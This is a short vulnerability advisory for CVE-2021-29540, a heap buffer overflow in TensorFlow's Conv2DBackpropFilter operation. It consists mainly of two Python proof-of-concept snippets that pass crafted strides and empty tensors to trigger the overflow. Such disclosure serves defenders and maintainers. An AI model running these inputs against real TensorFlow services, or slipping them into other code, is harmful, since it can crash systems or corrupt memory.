CVE-2021-29540: Heap buffer overflow in `Conv2DBackpropFilter`

(updated )

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],
shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)

Alternatively, passing empty tensors also results in similar behavior:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
